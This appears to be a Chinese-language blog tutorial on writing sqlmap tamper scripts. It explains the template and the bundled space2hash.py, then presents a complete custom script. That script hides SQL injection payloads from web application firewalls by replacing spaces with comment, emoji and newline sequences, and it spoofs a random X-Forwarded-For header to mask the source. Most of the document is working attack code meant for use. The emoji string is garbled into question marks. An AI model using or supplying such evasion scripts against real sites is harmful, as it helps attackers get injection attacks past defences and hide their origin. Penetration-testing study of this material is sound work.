0x1Demo
一个基本的tamper结构
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW # 当前脚本调用优先等级
def dependencies(): # 声明当前脚本适用/不适用的范围,可以为空。
pass
def tamper(payload, **kwargs): # 修改Payload、以及请求头的主要函数
"""tamper描述"""
return payload
0x2结构分析
拿自带的tamper space2hash.py来分析一下
#!/usr/bin/env python
"""
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import os
import random
import string
from lib.core.common import singleTimeWarnMessage
from lib.core.compat import xrange
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
def tamper(payload, **kwargs):
"""
Replaces (MySQL) instances of space character (' ') with a pound character ('#') followed by a random string and a new line ('\n')
Requirement:
* MySQL
Tested against:
* MySQL 4.0, 5.0
Notes:
* Useful to bypass several web application firewalls
* Used during the ModSecurity SQL injection challenge,
http://modsecurity.org/demo/challenge.html
>>> random.seed(0)
>>> tamper('1 AND 9227=9227')
'1%23upgPydUzKpMX%0AAND%23RcDKhIr%0A9227=9227'
"""
retVal = ""
if payload:
for i in xrange(len(payload)):
if payload[i].isspace():
randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12)))
retVal += "%%23%s%%0A" % randomStr
elif payload[i] == '#' or payload[i:i + 3] == '-- ':
retVal += payload[i:]
break
else:
retVal += payload[i]
return retVal
分为了import部分、__priority__ 属性、dependencies函数、tamper函数
2.1 import
import os
import random
import string
from lib.core.common import singleTimeWarnMessage
from lib.core.compat import xrange
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY
这一部分我们可以导入sqlmap的内部库,也可以导入python的库,sqlmap为我们提供了很多封装好的函数和数据类型,比如下面这个base64编码函数
from lib.core.convert import encodeBase64
就来自sqlmap\lib\core\convert.py
2.2 PRIORITY
__priority__ = PRIORITY.LOW
PRIORITY是定义tamper的优先级,PRIORITY有以下几个参数,来源于sqlmap/lib/core/enums.py
LOWEST = -100
LOWER = -50
LOW = -10
NORMAL = 0
HIGH = 10
HIGHER = 50
HIGHEST = 100
如果使用了多个tamper,sqlmap就会根据每个tamper定义PRIORITY的参数等级来优先使用等级较高的tamper
2.3dependencies
def dependencies():
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
dependencies主要是提示用户,这个tamper支持哪些数据库,测试代码如下:
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.enums import PRIORITY
from lib.core.enums import DBMS
__priority__ = PRIORITY.NORMAL
def dependencies():
singleTimeWarnMessage("这是我的提示内容!!!!!!!!!!!!!!!!!!!")
def tamper(payload, **kwargs):
return payload
运行效果如下
至于DBMS.MYSQL就是代表代表的是Mysql在sqlmap\lib\core\enums.py可以查看其他的数据库
2.4Tamper
tamper这个函数是tamper最重要的函数,你要实现的功能,全部写在这个函数里。payload这个参数就是sqlmap的原始注入payload,我们要实现绕过,一般就是针对这个payload的修改。kwargs是针对http头部的修改,如果你bypass,是通过修改http头,就需要用到这个
2.4.1基于payload
这里就以emoji绕过为例来写一个tamper,用随机emoji表情加注释换行来代替空格
def tamper(payload, **kwargs):
retVal = ""
if payload:
for i in xrange(len(payload)):
if payload[i].isspace():
emoji = '????????♂️?♀️??????????♓️?⚛️?☑️?????⚽️??⚾️??????????'
retVal += "%%23%s%%0A" % emoji
elif payload[i] == '#' or payload[i:i + 3] == '-- ':
retVal += payload[i:]
break
else:
retVal += payload[i]
return retVal
2.4.2基于HTTP头
然后想为我们刚刚实现的那个脚本加一个随机xff头,这里我们将xforwardedfor.py这个自带的tamper的代码拷贝过来
一个生成随机ip的函数
def randomIP():
"""Return random IP"""
octets = []
while not octets or octets[0] in (10, 172, 192):
octets = random.sample(xrange(1, 255), 4)
return '.'.join(str(_) for _ in octets)
然后在tamper调用这个函数,修改我们的X-Forwarded-For的值
def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
headers["X-Forwarded-For"] = randomIP()
0x03.完整脚本
#!/usr/bin/env python
"""
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import os
import random
from lib.core.common import singleTimeWarnMessage
from lib.core.compat import xrange
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
def randomIP():
"""Return random IP"""
octets = []
while not octets or octets[0] in (10, 172, 192):
octets = random.sample(xrange(1, 255), 4)
return '.'.join(str(_) for _ in octets)
def tamper(payload, **kwargs):
"""
Random XFF and character ('#') followed by emoji and newline ('\n') replace (MySQL) space character
Requirement:
* MySQL
Tested against:
* MySQL
Source:
http://blog.mo60.cn/
"""
headers = kwargs.get("headers", {})
headers["X-Forwarded-For"] = randomIP()
retVal = ""
if payload:
for i in xrange(len(payload)):
if payload[i].isspace():
emoji = '????????♂️?♀️??????????♓️?⚛️?☑️?????⚽️??⚾️??????????'
retVal += "%%23%s%%0A" % emoji
elif payload[i] == '#' or payload[i:i + 3] == '-- ':
retVal += payload[i:]
break
else:
retVal += payload[i]
return retVal
运行截图数据包
One comment
yyds